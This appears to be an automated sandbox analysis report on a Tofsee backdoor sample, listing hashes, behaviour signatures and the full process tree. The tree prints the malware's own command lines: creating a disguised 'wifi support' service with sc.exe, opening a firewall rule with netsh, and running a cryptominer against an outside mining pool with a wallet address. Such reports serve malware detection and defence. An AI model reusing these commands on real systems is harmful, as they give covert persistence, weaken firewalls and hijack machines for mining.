Overview

overview

10

Static

static

ae00a627fd...c1.exe

windows7_x64

10

ae00a627fd...c1.exe

windows10_x64

10

Analysis

  • max time kernel
    151s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    15-11-2020 22:36

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    ae00a627fd5f8258c7407fce21e7325475cf37605d0fafd1fa1fdd2912651dc1.exe

  • Size

    14.4MB

  • MD5

    23d4e5ec1fc789bf9012da1ee2dac488

  • SHA1

    35137488953d8baa146c0e8c739d9f6e3b81195a

  • SHA256

    ae00a627fd5f8258c7407fce21e7325475cf37605d0fafd1fa1fdd2912651dc1

  • SHA512

    396b9726a7e876cf09d9ccfacc869e77375513a7bbf9b2a7092d3ae2d394713fcbc14370f9a943c5b9496e294145aead4c9d5d2e1566ab76ca9472a6bc290e45

Score
10/10
tofseeevasionpersistencetrojan

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 6 IoCs
    persistence
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ae00a627fd5f8258c7407fce21e7325475cf37605d0fafd1fa1fdd2912651dc1.exe
    "C:\Users\Admin\AppData\Local\Temp\ae00a627fd5f8258c7407fce21e7325475cf37605d0fafd1fa1fdd2912651dc1.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1892
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\zjaaakdp\
      2⤵
        PID:1424
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\puhhkjze.exe" C:\Windows\SysWOW64\zjaaakdp\
        2⤵
          PID:1876
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create zjaaakdp binPath= "C:\Windows\SysWOW64\zjaaakdp\puhhkjze.exe /d\"C:\Users\Admin\AppData\Local\Temp\ae00a627fd5f8258c7407fce21e7325475cf37605d0fafd1fa1fdd2912651dc1.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1640
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description zjaaakdp "wifi internet conection"
            2⤵
              PID:644
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start zjaaakdp
              2⤵
                PID:1012
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                • Modifies service
                PID:1816
            • C:\Windows\SysWOW64\zjaaakdp\puhhkjze.exe
              C:\Windows\SysWOW64\zjaaakdp\puhhkjze.exe /d"C:\Users\Admin\AppData\Local\Temp\ae00a627fd5f8258c7407fce21e7325475cf37605d0fafd1fa1fdd2912651dc1.exe"
              1⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:1472
              • C:\Windows\SysWOW64\svchost.exe
                svchost.exe
                2⤵
                • Deletes itself
                • Drops file in System32 directory
                • Modifies service
                • Suspicious use of SetThreadContext
                • Modifies data under HKEY_USERS
                • Suspicious use of WriteProcessMemory
                PID:552
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                  3⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1552

            Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Temp\puhhkjze.exe
              MD5

              9be74742ea264c34531af957a108b776

              SHA1

              e17728688bfce6c34ee85c42c18e7d98af47e112

              SHA256

              e0cc6d85ee1c2ac661fe454d538c2be842f976e1ad0da4725a42275c84c72df4

              SHA512

              b386c7b3e2336f60427fd430fb7f016c29ec2e7c83cc91b99c5720de8e2fbf25c1df5decd956fac083d049422a97346da47ce4dac4558b6f96cb62f822e16054

              Download Submit

            • C:\Windows\SysWOW64\zjaaakdp\puhhkjze.exe
              MD5

              9be74742ea264c34531af957a108b776

              SHA1

              e17728688bfce6c34ee85c42c18e7d98af47e112

              SHA256

              e0cc6d85ee1c2ac661fe454d538c2be842f976e1ad0da4725a42275c84c72df4

              SHA512

              b386c7b3e2336f60427fd430fb7f016c29ec2e7c83cc91b99c5720de8e2fbf25c1df5decd956fac083d049422a97346da47ce4dac4558b6f96cb62f822e16054

              Download Submit

            • memory/552-13-0x0000000000230000-0x0000000000240000-memory.dmp

              Filesize

              64KB

              Download

            • memory/552-12-0x0000000000080000-0x0000000000086000-memory.dmp

              Filesize

              24KB

              Download

            • memory/552-16-0x00000000003D0000-0x00000000003D7000-memory.dmp

              Filesize

              28KB

              Download

            • memory/552-15-0x0000000005860000-0x0000000005C6B000-memory.dmp

              Filesize

              4.0MB

              Download

            • memory/552-14-0x00000000003C0000-0x00000000003C5000-memory.dmp

              Filesize

              20KB

              Download

            • memory/552-7-0x00000000000D0000-0x00000000000E5000-memory.dmp

              Filesize

              84KB

              Download

            • memory/552-8-0x00000000000D9A6B-mapping.dmp

              Download

            • memory/552-11-0x0000000001CC0000-0x0000000001ECF000-memory.dmp

              Filesize

              2.1MB

              Download

            • memory/644-4-0x0000000000000000-mapping.dmp

              Download

            • memory/1012-5-0x0000000000000000-mapping.dmp

              Download

            • memory/1424-0-0x0000000000000000-mapping.dmp

              Download

            • memory/1552-17-0x0000000000230000-0x0000000000321000-memory.dmp

              Filesize

              964KB

              Download

            • memory/1552-18-0x0000000000230000-0x0000000000321000-memory.dmp

              Filesize

              964KB

              Download

            • memory/1552-20-0x00000000002C259C-mapping.dmp

              Download

            • memory/1640-3-0x0000000000000000-mapping.dmp

              Download

            • memory/1816-10-0x0000000000000000-mapping.dmp

              Download

            • memory/1876-1-0x0000000000000000-mapping.dmp

              Download